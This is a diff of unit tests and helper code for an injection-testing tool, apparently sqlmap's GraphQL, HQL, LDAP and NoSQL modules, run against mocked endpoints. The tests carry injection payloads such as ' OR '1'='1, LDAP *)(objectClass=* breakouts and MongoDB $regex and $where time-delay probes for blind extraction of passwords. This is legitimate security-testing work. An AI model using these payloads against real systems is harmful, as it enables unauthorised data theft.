def resolveBit(page, trueModel, falseModel, resend, retries=2, margin=EXTRACT_MATCH_MARGIN, abort=True):
|
||||
"""Resolve one blind bit to True/False. On an INCONCLUSIVE first read, RE-SEND (fresh, cache-
|
||||
bypassing) up to `retries` times to ride out transient jitter before deciding. `resend` is a
|
||||
0-arg callable returning a fresh page (or None on error/block). If a bit stays INCONCLUSIVE after
|
||||
the retries: raise InconclusiveError when `abort` (the caller aborts the CURRENT VALUE rather than
|
||||
corrupt it), else return False."""
|
||||
d = decide(page, trueModel, falseModel, margin)
|
||||
tries = 0
|
||||
while d is Decision.INCONCLUSIVE and tries < retries:
|
||||
page = resend()
|
||||
if page is None:
|
||||
break
|
||||
d = decide(page, trueModel, falseModel, margin)
|
||||
tries += 1
|
||||
if d is Decision.INCONCLUSIVE and abort:
|
||||
raise InconclusiveError()
|
||||
return d is Decision.TRUE
|
||||
|
||||
|
||||
def leansTrue(page, trueModel, falseModel, margin=EXTRACT_MATCH_MARGIN):
|
||||
"""Boolean shorthand for `decide(...) is Decision.TRUE` (kept for callers that don't retry).
|
||||
A page indistinguishable from the FALSE model, or ambiguous, is NOT true - so a dynamic token, a
|
||||
changed error page, a WAF/rate-limit body or a transient exception can never fabricate a bit."""
|
||||
return decide(page, trueModel, falseModel, margin) is Decision.TRUE
|
||||
|
||||
|
||||
def userOracleActive():
|
||||
"""True when the user supplied an explicit true/false response signal (--string / --not-string /
|
||||
--regexp) that the non-SQL techniques should honor instead of relying on raw page similarity."""
|
||||
return bool(getattr(conf, "string", None) or getattr(conf, "notString", None) or getattr(conf, "regexp", None))
|
||||
|
||||
|
||||
def userDecision(page):
|
||||
"""Classify a response with the user's explicit oracle (--string / --not-string / --regexp),
|
||||
returning True/False, or None when no override is set (caller falls back to content comparison).
|
||||
Page-only: HTTP-code overrides (--code) stay per-engine, where the status line is available.
|
||||
|
||||
This routes the non-SQL boolean detectors through sqlmap's documented detection overrides - the
|
||||
same knobs the SQL engine honors - rather than discarding them for a fixed similarity ratio."""
|
||||
page = page or ""
|
||||
if getattr(conf, "string", None):
|
||||
return conf.string in page
|
||||
if getattr(conf, "notString", None):
|
||||
return conf.notString not in page
|
||||
if getattr(conf, "regexp", None):
|
||||
return re.search(conf.regexp, page) is not None
|
||||
return None
|
||||
|
|
@ -264,15 +264,63 @@ class TestGraphqlBooleanDetection(unittest.TestCase):
|
|||
|
||||
def test_boolean_detected(self):
|
||||
slot = _slot("query", "Query", "user", "username", "string")
|
||||
oracleType, template = gi._detectBoolean(slot, "http://test/graphql")
|
||||
oracleType, template, _win = gi._detectBoolean(slot, "http://test/graphql")
|
||||
self.assertIsNotNone(oracleType)
|
||||
self.assertIn("boolean-based", oracleType)
|
||||
|
||||
def test_numeric_skipped(self):
|
||||
slot = _slot("query", "Query", "byId", "id", "numeric")
|
||||
oracleType, template = gi._detectBoolean(slot, "http://test/graphql")
|
||||
oracleType, template, _win = gi._detectBoolean(slot, "http://test/graphql")
|
||||
self.assertIsNone(oracleType)
|
||||
|
||||
def test_graphql_two_true_transport_failures_do_not_confirm(self):
|
||||
# the TRUE query fails transport (-> None), the FALSE succeeds: two None trues must NOT be
|
||||
# read as a reproducible page that "differs" from false (the classic fabricated confirmation)
|
||||
def fakeSend(endpoint, query, variables=None):
|
||||
if "'1'='1" in query:
|
||||
return None, 0 # transport failure on the true payload
|
||||
return NOMATCH, 200
|
||||
gi._gqlSend = fakeSend
|
||||
slot = _slot("query", "Query", "user", "username", "string")
|
||||
oracleType, _, _win = gi._detectBoolean(slot, "http://test/graphql")
|
||||
self.assertIsNone(oracleType)
|
||||
|
||||
def test_graphql_false_page_is_replayed(self):
|
||||
# a FALSE page that does not reproduce (jitter) must not establish an oracle
|
||||
state = {"n": 0}
|
||||
def fakeSend(endpoint, query, variables=None):
|
||||
if "'1'='1" in query:
|
||||
return MATCH, 200
|
||||
state["n"] += 1
|
||||
if state["n"] % 2: # false response is unstable (jitter)
|
||||
return '{"data":{"user":{"id":1,"name":"alpha"}}}', 200
|
||||
return '{"data":{"user":{"totally":"different","shape":"here","x":12345,"y":67890}}}', 200
|
||||
gi._gqlSend = fakeSend
|
||||
slot = _slot("query", "Query", "user", "username", "string")
|
||||
oracleType, _, _win = gi._detectBoolean(slot, "http://test/graphql")
|
||||
self.assertIsNone(oracleType)
|
||||
|
||||
def test_graphql_resolver_error_false_is_not_a_boolean_oracle(self):
|
||||
# P0-3: the FALSE payload trips a stable HTTP-200 resolver error ({data:null, errors:[...]}),
|
||||
# which yields the same {"user":null} observation as a genuine false. That is NOT a boolean
|
||||
# oracle (it belongs to error-based detection) - _detectBoolean must reject the errored pair.
|
||||
def fakeSend(endpoint, query, variables=None):
|
||||
if "'1'='1" in query: # true -> real rows
|
||||
return MATCH, 200
|
||||
return '{"data":{"user":null},"errors":[{"message":"resolver failed","path":["user"]}]}', 200
|
||||
gi._gqlSend = fakeSend
|
||||
slot = _slot("query", "Query", "user", "username", "string")
|
||||
oracleType, _, _win = gi._detectBoolean(slot, "http://test/graphql")
|
||||
self.assertIsNone(oracleType)
|
||||
|
||||
def test_has_errors_and_alias_errored(self):
|
||||
self.assertTrue(gi._hasErrors('{"data":{"user":null},"errors":[{"message":"x"}]}'))
|
||||
self.assertFalse(gi._hasErrors('{"data":{"user":null}}'))
|
||||
# an alias with an error path, or an absent alias, is errored/unknown
|
||||
self.assertTrue(gi._aliasErrored('{"data":{"a0":null},"errors":[{"message":"e","path":["a0"]}]}', "a0"))
|
||||
self.assertTrue(gi._aliasErrored('{"data":{"a1":true}}', "a0")) # a0 absent
|
||||
self.assertFalse(gi._aliasErrored('{"data":{"a0":true}}', "a0"))
|
||||
|
||||
|
||||
class TestGraphqlErrorDetection(unittest.TestCase):
|
||||
"""Error-based detection via mock oracle"""
|
||||
|
|
@ -294,9 +342,30 @@ class TestGraphqlErrorDetection(unittest.TestCase):
|
|||
|
||||
def test_error_detected(self):
|
||||
slot = _slot("query", "Query", "user", "username", "string")
|
||||
oracleType, detail = gi._detectError(slot, "http://test/graphql")
|
||||
oracleType, detail, _win = gi._detectError(slot, "http://test/graphql")
|
||||
self.assertEqual(oracleType, "error-based")
|
||||
|
||||
def test_report_shows_winning_error_payload_not_boolean(self):
|
||||
# boolean payloads do NOT diverge (both -> NOMATCH) so boolean detection fails; only the error
|
||||
# payloads trip a DB error. The reported reproducer must be the WINNING error payload, never the
|
||||
# generic ' OR '1'='1 boolean payload.
|
||||
def fakeSend(endpoint, query, variables=None):
|
||||
if "'1'='" in query: # both boolean payloads ('1'='1 / '1'='2) -> identical, no oracle
|
||||
return NOMATCH, 200
|
||||
if "'" in query: # error payloads (', '', '") -> DB error
|
||||
return DB_ERROR, 500
|
||||
return NOMATCH, 200
|
||||
gi._gqlSend = fakeSend
|
||||
reports = []
|
||||
gi.conf.dumper = type("D", (), {"singleString": lambda self, m: reports.append(m)})()
|
||||
gi.conf.beep = False
|
||||
slot = _slot("query", "Query", "user", "username", "string")
|
||||
oracleType, _oracle, _detail = gi._testSlot(slot, "http://test/graphql")
|
||||
self.assertEqual(oracleType, "error-based")
|
||||
report = next(r for r in reports if "Payload:" in r)
|
||||
self.assertNotIn("'1'='1", report) # not the boolean payload
|
||||
self.assertIn("error-based", report)
|
||||
|
||||
|
||||
class TestGraphqlParseRows(unittest.TestCase):
|
||||
"""JSON data row parsing for in-band dumps"""
|
||||
|
|
@ -443,8 +512,23 @@ class TestGraphqlDialects(unittest.TestCase):
|
|||
d = gi.DIALECTS["SQLite"]
|
||||
sql = d.row(["name", "surname"], "users", 3)
|
||||
self.assertIn("LIMIT 1 OFFSET 3", sql) # per-row, not a whole-table GROUP_CONCAT
|
||||
self.assertIn("COALESCE(CAST(name AS TEXT),'NULL')", sql)
|
||||
self.assertIn("FROM users", sql)
|
||||
self.assertIn('COALESCE(CAST("name" AS TEXT),\'NULL\')', sql) # column identifier quoted
|
||||
self.assertIn('FROM "users"', sql) # table identifier quoted
|
||||
|
||||
def test_row_quotes_reserved_and_mixedcase_identifiers(self):
|
||||
# a reserved word / mixed-case / spaced / quote-bearing name must be quoted, not interpolated raw
|
||||
d = gi.DIALECTS["PostgreSQL"]
|
||||
sql = d.row(["order", 'we"ird'], "myTable", 0)
|
||||
self.assertIn('CAST("order" AS TEXT)', sql)
|
||||
self.assertIn('CAST("we""ird" AS TEXT)', sql) # embedded quote doubled
|
||||
d2 = gi.DIALECTS["Microsoft SQL Server"]
|
||||
self.assertIn("[order]", d2.row(["order"], "dbo.t", 0))
|
||||
|
||||
def test_pgsql_schema_qualified_from(self):
|
||||
# a "schema.table" catalog name qualifies AND quotes both parts for the dump FROM
|
||||
d = gi.DIALECTS["PostgreSQL"]
|
||||
self.assertIn('FROM "secret"."users"', d.row(["id"], "secret.users", 0))
|
||||
self.assertEqual(d.fromIdent("secret.users"), '"secret"."users"')
|
||||
|
||||
def test_mysql_uses_sleep_delay(self):
|
||||
d = gi.DIALECTS["MySQL"]
|
||||
|
|
@ -529,7 +613,7 @@ def _mockOracle(target):
|
|||
tableFrom=None, tableCol=None, columnFrom=None, columnCol=None, paginate=None,
|
||||
length=lambda expr: "LEN(%s)" % expr,
|
||||
ordinal=lambda expr, pos: "ORD(%s,%d)" % (expr, pos),
|
||||
row=None)
|
||||
row=None, fromIdent=lambda table: table)
|
||||
|
||||
def _value(cond):
|
||||
pos = None
|
||||
|
|
@ -579,6 +663,43 @@ class TestGraphqlInference(unittest.TestCase):
|
|||
dialect, truth, truthBatch = _mockOracle("")
|
||||
self.assertEqual(gi._inferExprBatched(truthBatch, truth, dialect, "EXPR"), "")
|
||||
|
||||
def test_inconclusive_truth_aborts_value_not_fabricates(self):
|
||||
# a persistently-inconclusive oracle must abort the value (None), never coerce to false bits
|
||||
dialect = gi.DIALECTS["SQLite"]
|
||||
|
||||
def truth(cond):
|
||||
raise gi.InconclusiveError()
|
||||
|
||||
def truthBatch(conds):
|
||||
raise gi.InconclusiveError()
|
||||
|
||||
self.assertIsNone(gi._inferExpr(truth, dialect, "EXPR"))
|
||||
self.assertIsNone(gi._inferExprBatched(truthBatch, truth, dialect, "EXPR"))
|
||||
|
||||
def test_make_oracle_batch_transport_failure_raises_not_false(self):
|
||||
# a FAILED batch request must raise InconclusiveError, NOT decay into a list of False bits
|
||||
# (which would silently corrupt every value extracted through the batch path)
|
||||
slot = _slot("query", "Query", "user", "username", "string")
|
||||
MATCHV = '{"data":{"user":{"id":1,"name":"luther"}}}'
|
||||
NOMATCHV = '{"data":{"user":null}}'
|
||||
saved = gi._gqlSend
|
||||
try:
|
||||
def fakeSend(endpoint, query, variables=None):
|
||||
if "1=1" in query:
|
||||
return MATCHV, 200
|
||||
if "1=2" in query:
|
||||
return NOMATCHV, 200
|
||||
return MATCHV, 200
|
||||
gi._gqlSend = fakeSend
|
||||
truth, truthBatch = gi._makeOracle(slot, "http://test/graphql")
|
||||
self.assertIsNotNone(truth)
|
||||
|
||||
# now make the batch endpoint fail transport -> must raise, not return [False, ...]
|
||||
gi._gqlSend = lambda endpoint, query, variables=None: (None, 0)
|
||||
self.assertRaises(gi.InconclusiveError, truthBatch, ["1=1", "1=2"])
|
||||
finally:
|
||||
gi._gqlSend = saved
|
||||
|
||||
|
||||
class TestGraphqlDumpTable(unittest.TestCase):
|
||||
"""Whole-table dump: column list + COUNT(*) + one row-scalar per ordinal offset"""
|
||||
|
|
@ -591,7 +712,7 @@ class TestGraphqlDumpTable(unittest.TestCase):
|
|||
"(SELECT COUNT(*) %s)" % colFrom: "2",
|
||||
"(SELECT %s %s %s)" % (d.columnCol, colFrom, d.paginate(d.columnCol, 0)): "id",
|
||||
"(SELECT %s %s %s)" % (d.columnCol, colFrom, d.paginate(d.columnCol, 1)): "name",
|
||||
"(SELECT COUNT(*) FROM users)": "2",
|
||||
"(SELECT COUNT(*) FROM %s)" % d.fromIdent("users"): "2",
|
||||
d.row(["id", "name"], "users", 0): "1~~~null",
|
||||
d.row(["id", "name"], "users", 1): "2~~~luther",
|
||||
}
|
||||
|
|
@ -669,6 +790,70 @@ class TestVulnserverGraphqlParser(unittest.TestCase):
|
|||
self.assertEqual(sels[0][1], "login")
|
||||
|
||||
|
||||
class TestGraphqlMutationPlanner(unittest.TestCase):
|
||||
"""Mutation slots are auto-tested (read-like ranked first), impact-classified, dry-run preferred."""
|
||||
|
||||
def test_impact_classification(self):
|
||||
self.assertEqual(gi._mutationImpact("login"), "read-like")
|
||||
self.assertEqual(gi._mutationImpact("verifyToken"), "read-like")
|
||||
self.assertEqual(gi._mutationImpact("createUser"), "write-like")
|
||||
self.assertEqual(gi._mutationImpact("deletePost"), "write-like")
|
||||
self.assertEqual(gi._mutationImpact("frobnicate"), "unknown")
|
||||
|
||||
def test_mixed_names_are_write_like_not_read_like(self):
|
||||
# a read-like substring must NOT mask a write token in the same (camelCase/snake) name
|
||||
for name in ("updateUserPreview", "previewDeleteUser", "getAndDeleteUser", "createSession",
|
||||
"validateAndRemoveUser", "preview_delete_user", "get-and-delete-user"):
|
||||
self.assertEqual(gi._mutationImpact(name), "write-like", name)
|
||||
# genuine read-like names stay read-like
|
||||
for name in ("login", "verifyToken", "previewReport", "checkSession", "fetchToken"):
|
||||
self.assertEqual(gi._mutationImpact(name), "read-like", name)
|
||||
|
||||
def test_ranking_puts_read_like_first_write_like_last(self):
|
||||
slots = [_slot("mutation", "Mutation", "deleteUser", "id"),
|
||||
_slot("mutation", "Mutation", "frobnicate", "x"),
|
||||
_slot("mutation", "Mutation", "login", "username")]
|
||||
ranked = [s.fieldName for s in gi._rankMutations(slots)]
|
||||
self.assertEqual(ranked[0], "login") # read-like first
|
||||
self.assertEqual(ranked[-1], "deleteUser") # write-like last
|
||||
|
||||
def test_write_like_mutation_not_auto_enumerated(self):
|
||||
# a write-like mutation is NOT eligible as the bulk-enumeration oracle (non-persistence
|
||||
# unverified), whereas a read-like one is. This is the gate graphqlScan applies.
|
||||
createSlot = _slot("mutation", "Mutation", "createUser", "name")
|
||||
loginSlot = _slot("mutation", "Mutation", "login", "username")
|
||||
self.assertFalse(gi._mutationImpact("createUser") == "read-like" or gi._dryRunVerified(createSlot, "http://x"))
|
||||
self.assertTrue(gi._mutationImpact("login") == "read-like" or gi._dryRunVerified(loginSlot, "http://x"))
|
||||
self.assertFalse(gi._dryRunVerified(createSlot, "http://x")) # no automatic non-persistence proof
|
||||
|
||||
def test_mutation_oracle_is_never_batched(self):
|
||||
# a mutation must NOT return truthBatch: aliased batching executes the write resolver once per
|
||||
# alias (many writes per request). A boolean-diverging mutation slot yields (truth, None).
|
||||
MATCHV = '{"data":{"createUser":{"id":1,"name":"luther"}}}'
|
||||
NOMATCHV = '{"data":{"createUser":null}}'
|
||||
saved = gi._gqlSend
|
||||
try:
|
||||
gi._gqlSend = lambda endpoint, query, variables=None: (MATCHV if "1=1" in query else NOMATCHV, 200)
|
||||
slot = _slot("mutation", "Mutation", "createUser", "name", "string")
|
||||
truth, truthBatch = gi._makeOracle(slot, "http://test/graphql")
|
||||
self.assertIsNotNone(truth)
|
||||
self.assertIsNone(truthBatch) # batching disabled for mutations
|
||||
finally:
|
||||
gi._gqlSend = saved
|
||||
|
||||
def test_dryrun_flag_forced_true_even_when_optional(self):
|
||||
# an optional Boolean 'dryRun' sibling is normally omitted; for a mutation probe it is forced
|
||||
# true so the write does not commit
|
||||
allArgs = [
|
||||
("name", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}, None),
|
||||
("dryRun", {"kind": "SCALAR", "name": "Boolean"}, None),
|
||||
]
|
||||
slot = gi.Slot("mutation", "Mutation", "createUser", allArgs, "name", "string",
|
||||
"OBJECT", "User", "{ id }")
|
||||
q = gi._buildQuery(slot, "x")
|
||||
self.assertIn("dryRun:true", q)
|
||||
|
||||
|
||||
class TestGraphqlSiblingDefaults(unittest.TestCase):
|
||||
"""Required sibling arguments must use their real type, not be hardcoded as strings"""
|
||||
|
||||
|
|
@ -684,8 +869,9 @@ class TestGraphqlSiblingDefaults(unittest.TestCase):
|
|||
self.assertIn("limit:0", q)
|
||||
self.assertNotIn('limit:"0"', q)
|
||||
|
||||
def test_boolean_sibling_gets_default_string(self):
|
||||
"""field(name: String!, active: Boolean!) -- Boolean gets \"x\" since there is no Boolean strategy"""
|
||||
def test_boolean_sibling_uses_native_syntax(self):
|
||||
"""field(name: String!, active: Boolean!) -- a required Boolean renders as the native `false`
|
||||
literal, NOT the quoted string "x" (which would make the whole query fail to parse)"""
|
||||
allArgs = [
|
||||
("name", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}, None),
|
||||
("active", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Boolean", "ofType": None}}, None),
|
||||
|
|
@ -693,7 +879,20 @@ class TestGraphqlSiblingDefaults(unittest.TestCase):
|
|||
slot = gi.Slot("query", "Query", "toggle", allArgs, "name", "string",
|
||||
"OBJECT", "User", "{ id }")
|
||||
q = gi._buildQuery(slot, "test")
|
||||
self.assertIn('active:"x"', q)
|
||||
self.assertIn('active:false', q)
|
||||
self.assertNotIn('active:"x"', q)
|
||||
|
||||
def test_optional_sibling_is_omitted(self):
|
||||
"""field(name: String!, verbose: Boolean) -- an OPTIONAL sibling with no default is omitted,
|
||||
not filled with a bogus sentinel that would invalidate the query"""
|
||||
allArgs = [
|
||||
("name", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}, None),
|
||||
("verbose", {"kind": "SCALAR", "name": "Boolean"}, None),
|
||||
]
|
||||
slot = gi.Slot("query", "Query", "toggle", allArgs, "name", "string",
|
||||
"OBJECT", "User", "{ id }")
|
||||
q = gi._buildQuery(slot, "test")
|
||||
self.assertNotIn("verbose", q)
|
||||
|
||||
|
||||
class TestGraphqlScalarReturnSelection(unittest.TestCase):
|
||||
|
|
|
|||
|
|
@ -88,6 +88,39 @@ class TestDetection(unittest.TestCase):
|
|||
template, _, _ = hql._detectBoolean("GET", "name")
|
||||
self.assertIsNone(template)
|
||||
|
||||
def test_confirm_hql_battery_on_orm(self):
|
||||
# a Hibernate back-end evaluates str(): str(1)='1' true, str(1)='2' false -> diverges -> HQL
|
||||
# confirmed with no error leakage
|
||||
def mock(place, parameter, value):
|
||||
return "<html><div>row</div></html>" if "str(1)='1'" in value else "<html></html>"
|
||||
hql._send = mock
|
||||
boundary = hql.Boundary("' OR ", " OR '1'='2", True)
|
||||
self.assertTrue(hql._confirmHql("GET", "name", boundary, "x"))
|
||||
|
||||
def test_confirm_hql_battery_rejects_plain_sql(self):
|
||||
# a raw-SQL back-end has no str() function -> the payload ERRORS on both sides -> no divergence
|
||||
def mock(place, parameter, value):
|
||||
if "str(" in value:
|
||||
return "You have an error in your SQL syntax; no such function: str"
|
||||
return "<html><div>row</div></html>"
|
||||
hql._send = mock
|
||||
boundary = hql.Boundary("' OR ", " OR '1'='2", True)
|
||||
self.assertFalse(hql._confirmHql("GET", "name", boundary, "x"))
|
||||
|
||||
def test_confirm_hql_battery_rejects_sqlite_flexible_cast(self):
|
||||
# SQLite accepts arbitrary CAST type names, so CAST(1 AS string)='1' is TRUE on plain SQLite;
|
||||
# the battery must NOT use cast aliases and must NOT confirm HQL here (str() has no SQLite fn ->
|
||||
# errors -> no divergence). This is the exact P0-3 false-positive being guarded against.
|
||||
def mock(place, parameter, value):
|
||||
if "str(" in value: # SQLite: no such function -> error
|
||||
return "SQLite error: no such function: str"
|
||||
if "CAST(1 AS string)='1'" in value: # SQLite WOULD accept this as true...
|
||||
return "<html><div>row</div></html>"
|
||||
return "<html></html>"
|
||||
hql._send = mock
|
||||
boundary = hql.Boundary("' OR ", " OR '1'='2", True)
|
||||
self.assertFalse(hql._confirmHql("GET", "name", boundary, "x")) # ...but the battery no longer uses casts
|
||||
|
||||
|
||||
def _recordOracle(record, entity="Member"):
|
||||
"""Build a truth(predicate) that answers the LENGTH/SUBSTRING/EXISTS predicates
|
||||
|
|
@ -150,6 +183,16 @@ class TestExtraction(unittest.TestCase):
|
|||
def test_infer_absent_attribute_empty(self):
|
||||
self.assertEqual(hql._inferValue(self.truth, "Member", "nope", "id"), "")
|
||||
|
||||
def test_infer_inconclusive_aborts_value(self):
|
||||
"""A truth() that stays INCONCLUSIVE must abort the value (return None) rather than emit a
|
||||
length/char chosen from an ambiguous bit."""
|
||||
from lib.utils.nonsql import InconclusiveError
|
||||
|
||||
def inconclusiveTruth(predicate):
|
||||
raise InconclusiveError()
|
||||
|
||||
self.assertIsNone(hql._inferValue(inconclusiveTruth, "Member", "name", "id"))
|
||||
|
||||
|
||||
def _multiOracle(records):
|
||||
"""Row-aware oracle: honors the "_h2.<pin> > <after>" walk bound by selecting the
|
||||
|
|
|
|||
|
|
@ -281,6 +281,35 @@ class TestBooleanDetection(unittest.TestCase):
|
|||
self.assertEqual(breakout, "*)")
|
||||
self.assertIn("*)(objectClass=*", bypass)
|
||||
|
||||
def test_ldap_breakout_uses_matched_false_filter(self):
|
||||
# the false control must share the true control's breakout+attribute+open-fragment shape,
|
||||
# differing ONLY in the assertion value: (attr=*) vs (attr=<sentinel>). It must NEVER be a
|
||||
# bare original+SENTINEL string (an unmatched control a validation layer could diverge on).
|
||||
sent = []
|
||||
|
||||
def spy(place, param, value):
|
||||
sent.append(value)
|
||||
return '{"count":15}' if value.startswith("x*)(objectClass=*") else '{"count":0}'
|
||||
|
||||
ldap._send = spy
|
||||
from lib.core.enums import PLACE
|
||||
template, _, _ = ldap._detectBoolean(PLACE.GET, 'q')
|
||||
self.assertIsNotNone(template)
|
||||
self.assertTrue(any(v.endswith("=%s" % SENTINEL) and "(" in v for v in sent),
|
||||
"no syntax-matched false LDAP filter control was sent: %r" % sent[:8])
|
||||
self.assertNotIn("x%s" % SENTINEL, sent) # the discredited bare original+SENTINEL is gone
|
||||
|
||||
def test_ldap_403_is_inconclusive(self):
|
||||
# a 403 (WAF / rate-limit) must NOT enter the oracle as a page - _send returns None
|
||||
from lib.request.connect import Connect
|
||||
from lib.core.enums import PLACE
|
||||
orig = Connect.getPage
|
||||
Connect.getPage = staticmethod(lambda **kw: ("blocked by WAF", {}, 403))
|
||||
try:
|
||||
self.assertIsNone(ldap._send(PLACE.GET, 'q', 'x'))
|
||||
finally:
|
||||
Connect.getPage = orig
|
||||
|
||||
|
||||
class TestExtraction(unittest.TestCase):
|
||||
def test_inferAttribute_simple(self):
|
||||
|
|
@ -311,6 +340,47 @@ class TestExtraction(unittest.TestCase):
|
|||
value = ldap._inferAttribute(oracle, builder, "mail")
|
||||
self.assertEqual(value, "admin@example.com")
|
||||
|
||||
def test_inferAttribute_inconclusive_aborts_not_truncates(self):
|
||||
"""An oracle that stays INCONCLUSIVE must abort the attribute (return None) rather than
|
||||
truncate it to whatever prefix was recovered before the ambiguous bit."""
|
||||
from lib.utils.nonsql import InconclusiveError
|
||||
|
||||
class InconclusiveOracle(object):
|
||||
def extract(self, payload):
|
||||
raise InconclusiveError()
|
||||
|
||||
builder = ldap._ProbeBuilder(")")
|
||||
self.assertIsNone(ldap._inferAttribute(InconclusiveOracle(), builder, "uid"))
|
||||
|
||||
|
||||
class TestMultiValueDump(unittest.TestCase):
|
||||
"""Multi-valued LDAP attributes must NOT be 'enumerated' via entry-scoped negation (which excludes
|
||||
the whole entry and mixes entries) - recover ONE matching value and label it honestly."""
|
||||
|
||||
def setUp(self):
|
||||
self._exists, self._infer, self._dumpTable = ldap._exists, ldap._inferAttribute, ldap._dumpTable
|
||||
|
||||
def tearDown(self):
|
||||
ldap._exists, ldap._inferAttribute, ldap._dumpTable = self._exists, self._infer, self._dumpTable
|
||||
|
||||
def test_reports_one_value_and_never_excludes(self):
|
||||
captured = {}
|
||||
exclusionsSeen = []
|
||||
|
||||
ldap._exists = lambda oracle, builder, attr, **kw: attr == "member"
|
||||
def fakeInfer(oracle, builder, attr, constraint=None, exclusions=None, **kw):
|
||||
exclusionsSeen.append(exclusions)
|
||||
return "cn=alice,dc=x" if attr == "member" else None
|
||||
ldap._inferAttribute = fakeInfer
|
||||
ldap._dumpTable = lambda title, cols, rows: captured.update(title=title, cols=cols, rows=rows)
|
||||
|
||||
dumped = ldap._dumpMultiValues(object(), ldap._ProbeBuilder(")"), "GET", "q")
|
||||
self.assertTrue(dumped)
|
||||
self.assertEqual(captured["rows"], [("cn=alice,dc=x",)]) # exactly one value
|
||||
self.assertIn("one matching value", captured["title"].lower()) # honest label
|
||||
# the broken exclusion walk must be gone: _inferAttribute is called WITHOUT exclusions
|
||||
self.assertTrue(all(e in (None, [], ()) for e in exclusionsSeen))
|
||||
|
||||
|
||||
class TestIsError(unittest.TestCase):
|
||||
def test_isError_positive(self):
|
||||
|
|
|
|||
|
|
@ -11,6 +11,7 @@ Neo4j Cypher and ArangoDB AQL string break-out.
|
|||
"""
|
||||
|
||||
import re
|
||||
import time
|
||||
import unittest
|
||||
|
||||
from _testutils import bootstrap
|
||||
|
|
@ -54,6 +55,10 @@ def _mongo(place, parameter, op, value, isArray=False):
|
|||
def _es(place, parameter, value):
|
||||
if value == "*":
|
||||
return MATCH
|
||||
if "AND NOT" in value: # Lucene (rand AND NOT rand) -> nothing
|
||||
return NOMATCH
|
||||
if value.startswith("(NOT ") and value.endswith(")"): # Lucene (NOT rand) -> everything
|
||||
return MATCH
|
||||
if value == ni.NOSQL_SENTINEL:
|
||||
return NOMATCH
|
||||
if value.startswith("/") and value.endswith("/"): # Lucene regexp is full-anchored
|
||||
|
|
@ -87,6 +92,25 @@ class TestNoSqlMongo(unittest.TestCase):
|
|||
ni._fetch = lambda *args, **kwargs: MATCH
|
||||
self.assertIsNone(ni._detectMongo("GET", "password"))
|
||||
|
||||
def test_resolve_vector_carries_false_model(self):
|
||||
# the LIVE vector must carry a calibrated false model so extraction is dual-model, not one-sided
|
||||
vector = ni._resolve("GET", "password", "password")
|
||||
self.assertIsNotNone(vector)
|
||||
self.assertEqual(vector.falseModel, NOMATCH) # $in[sentinel] no-match page
|
||||
|
||||
def test_dual_model_extraction_and_unrelated_page_inconclusive(self):
|
||||
template = MATCH
|
||||
falseModel = NOMATCH
|
||||
value = ni._extract(template,
|
||||
lambda v: ni._fetch("GET", "password", "$regex", v),
|
||||
lambda n: "^.{%d,}$" % n,
|
||||
lambda known, klass: "^" + re.escape(known) + klass,
|
||||
falseModel=falseModel)
|
||||
self.assertEqual(value, SECRET)
|
||||
# an unrelated usable page (neither true nor false model) must be inconclusive, not a false bit
|
||||
self.assertRaises(ni.InconclusiveError,
|
||||
ni._contentBit, lambda v: "CCCCC unrelated captcha page", "A", MATCH, NOMATCH)
|
||||
|
||||
|
||||
class TestNoSqlElasticsearch(unittest.TestCase):
|
||||
def setUp(self):
|
||||
|
|
@ -113,16 +137,19 @@ class TestNoSqlElasticsearch(unittest.TestCase):
|
|||
|
||||
|
||||
def _cypher(place, parameter, value):
|
||||
if "'1'='1" in value:
|
||||
return MATCH
|
||||
if "'1'='2" in value:
|
||||
return NOMATCH
|
||||
m = re.search(r"STARTS WITH '([^']*)'", value) # Cypher-only prefix predicate on 'ab'
|
||||
if m:
|
||||
return MATCH if "ab".startswith(m.group(1)) else NOMATCH
|
||||
m = re.search(r"=~ '\^(.*)$", value) # the regex body after the =~ operator
|
||||
if m:
|
||||
try:
|
||||
return MATCH if re.match("^(?:%s)$" % m.group(1), SECRET) is not None else NOMATCH
|
||||
except re.error:
|
||||
return NOMATCH
|
||||
if "'1'='1" in value:
|
||||
return MATCH
|
||||
if "'1'='2" in value:
|
||||
return NOMATCH
|
||||
return NOMATCH
|
||||
|
||||
|
||||
|
|
@ -239,6 +266,16 @@ class TestNoSqlWhere(unittest.TestCase):
|
|||
charValue = lambda known, klass: ni._whereDelay("d.%s&&/^%s%s/.test(d.%s)" % (key, ni._javaEscape(known), klass, key))
|
||||
self.assertEqual(ni._extract(None, None, lengthValue, charValue, _whereTruth), SECRET)
|
||||
|
||||
def test_where_delay_is_dos_bounded(self):
|
||||
# the per-document busy-loop must be capped to ONE document per query (shared-scope counter),
|
||||
# so a loose/unconditional condition on a large collection cannot block for docCount*timeSec.
|
||||
# The condition and delay budget must still be embedded verbatim (oracle unchanged).
|
||||
payload = ni._whereDelay("true")
|
||||
self.assertIn("__c", payload) # shared-scope counter present
|
||||
self.assertIn("__c<1", payload) # loop gated on the one-shot cap
|
||||
self.assertIn("(true)", payload) # original condition preserved
|
||||
self.assertIn(str(int(ni.conf.timeSec * 1000)), payload) # delay budget preserved
|
||||
|
||||
|
||||
def _jswhere(place, parameter, value):
|
||||
# emulate a content-bearing MongoDB $where (server-side JavaScript) endpoint
|
||||
|
|
@ -295,7 +332,7 @@ class TestNoSqlWhereDump(unittest.TestCase):
|
|||
names = [name for name, _ in self.DOC]
|
||||
values = dict(self.DOC)
|
||||
|
||||
def fake(place, parameter, bound, expr, threshold):
|
||||
def fake(place, parameter, bound, expr, threshold, strict=False):
|
||||
m = re.search(r"Object\.keys\(d\)\[(\d+)\]", expr)
|
||||
if m:
|
||||
index = int(m.group(1))
|
||||
|
|
@ -311,7 +348,7 @@ class TestNoSqlWhereDump(unittest.TestCase):
|
|||
ni._whereField = self._orig
|
||||
|
||||
def test_dump(self):
|
||||
columns, rows = ni._whereDump("GET", "password", "", 0)
|
||||
columns, rows, bound, complete = ni._whereDump("GET", "password", "", 0)
|
||||
self.assertEqual(columns, ["id", "username", "password", "role"])
|
||||
self.assertEqual(rows, [["1", "luther", "s3cr3t", "admin"]])
|
||||
|
||||
|
|
@ -320,6 +357,88 @@ class TestNoSqlWhereDump(unittest.TestCase):
|
|||
self.assertIsNone(ni._whereDump("GET", "password", "", 0))
|
||||
|
||||
|
